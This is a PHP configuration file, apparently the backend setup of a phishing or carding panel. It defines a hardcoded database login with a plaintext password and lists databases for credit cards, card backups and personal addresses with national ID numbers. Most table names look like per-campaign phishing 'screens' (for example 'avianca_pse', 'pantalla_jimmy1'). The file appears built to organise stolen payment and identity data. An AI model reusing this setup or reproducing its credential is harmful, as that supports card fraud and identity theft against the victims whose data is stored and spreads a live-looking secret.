<?php
// Configuración de conexión
define( 'DB_HOST', 'localhost' );
define( 'DB_USER', 'anthony2_juanelo' );
define( 'DB_PASS', 'eljuan123Jm$' );

// 🎯 CONFIGURACIÓN DE MÚLTIPLES BASES DE DATOS
// Agrega todas las bases de datos que quieras usar
$databases_config = [
    'anthony2_creditscards'        => [
        'name'         => 'anthony2_creditscards',
        'display_name' => '💳 Credit Cards Principal',
        'description'  => 'Base de datos principal de tarjetas',
        'tablas'       => [
            "diop333pantalla1",
            "diop333pantalla2",
            "pantalla_beffobizza",
            "pantalla_alvaritosant",
            "pantalla_elvis",
            "pantalla_jimmy1",
            "pantalla_rafar",
            "latam_diop",
            "diop",
            "latamdiop",
            "latam_203541",
            "latam_618833",
            "pantalla_andrepsre",
            "pantalla_rafar_two",
            "sietepne",
            "rafaweb",
            "avianca_pse",
            "jimmy"
        ]
    ],
    'lat9933_testa'      => [
        'name'         => 'lat9933_testa',
        'display_name' => '🏦 Banco Test A',
        'description'  => 'Base de datos de pruebas bancarias',
        'tablas'       => [
            "diop333pantalla1",
            "diop333pantalla2",
            "diop333pantalla3"
        ]
    ],
    'sistema_financiero' => [
        'name'         => 'sistema_financiero',
        'display_name' => '💰 Sistema Financiero',
        'description'  => 'Datos financieros corporativos',
        'tablas'       => [
            "tarjetas_empresariales",
            "clientes_vip",
            "transacciones_grandes"
        ]
    ],
    'backup_tarjetas'    => [
        'name'         => 'backup_tarjetas',
        'display_name' => '🔄 Backup Tarjetas',
        'description'  => 'Respaldo de información de tarjetas',
        'tablas'       => [
            "backup_diop333",
            "historico_tarjetas"
        ]
    ],
    'dir'                => [
        'name'         => 'dir',
        'display_name' => '📍 Directorio Personal',
        'description'  => 'Base de datos con información de dirección y cédula',
        'tablas'       => [
            "diop333pantalla1",
            "pantalla_usuarios",
            "clientes_dir"
        ]
    ]
];

// Base de datos por defecto
$default_database = 'anthony2_creditscards';

// Convertir a JSON para fácil uso
$databases_json = json_encode( $databases_config, JSON_PRETTY_PRINT );

// Función helper para obtener configuración de DB
function getDatabaseConfig($db_name = null)
{
    global $databases_config, $default_database;

    if ($db_name === null) {
        $db_name = $default_database;
    }

    return $databases_config[$db_name] ?? $databases_config[$default_database];
}

// Función para obtener todas las DBs disponibles
function getAvailableDatabases()
{
    global $databases_config;
    return $databases_config;
}
?>